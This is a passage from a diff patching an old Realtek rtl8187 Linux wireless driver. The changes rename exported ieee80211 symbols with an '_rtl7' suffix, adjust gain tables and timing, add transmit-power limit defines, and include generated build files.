ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1401,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1419,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006.modified/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/Makefile 2010-05-19 22:18:51.859361932 -0700 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/modules.order rtl8187_linux_26.1010.0622.2006.modified/beta-8187/modules.order --- rtl8187_linux_26.1010.0622.2006/beta-8187/modules.order 1969-12-31 16:00:00.000000000 -0800 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/modules.order 2010-05-19 22:24:09.389327640 -0700 @@ -0,0 +1 @@ +kernel//home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.ko diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/Module.symvers rtl8187_linux_26.1010.0622.2006.modified/beta-8187/Module.symvers --- rtl8187_linux_26.1010.0622.2006/beta-8187/Module.symvers 1969-12-31 16:00:00.000000000 -0800 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/Module.symvers 2010-05-19 22:24:10.342666003 -0700 @@ -0,0 +1,41 @@ +0x00000000 ieee80211_softmac_start_protocol_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 free_ieee80211_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_name_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_mode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_mode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_rate_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_rate_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_scan_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_scan_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_freq_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_freq_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_register_crypto_ops_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_ps_tx_ack_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_rx_mgt_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_unregister_crypto_ops_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_essid_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_essid_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_stop_queue_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_rx_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_crypt_deinit_handler_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_wap_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_wap_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wlan_frequencies_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_get_crypto_ops_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_xmit_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_power_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_power_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_crypt_deinit_entries_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_is_54g_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_get_beacon_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_is_shortslot_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_rawtx_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_reset_queue_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_softmac_stop_protocol_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wpa_supplicant_ioctl_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 alloc_ieee80211_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_txb_free_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wake_queue_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_crypt_delayed_deinit_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_get_encode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL +0x00000000 ieee80211_wx_set_encode_rtl7 /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211-rtl EXPORT_SYMBOL diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_93cx6.c 2010-05-19 22:18:51.859361932 -0700 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_hw.h 2010-05-19 22:18:51.862696872 -0700 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c 2006-06-05 19:58:02.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_rtl8225.c 2010-05-19 22:18:51.866039146 -0700 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_rtl8225.h 2010-05-19 22:18:51.866039146 -0700 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c 2006-06-05 19:58:02.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8180_rtl8225z2.c 2010-05-19 22:18:51.876029926 -0700 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 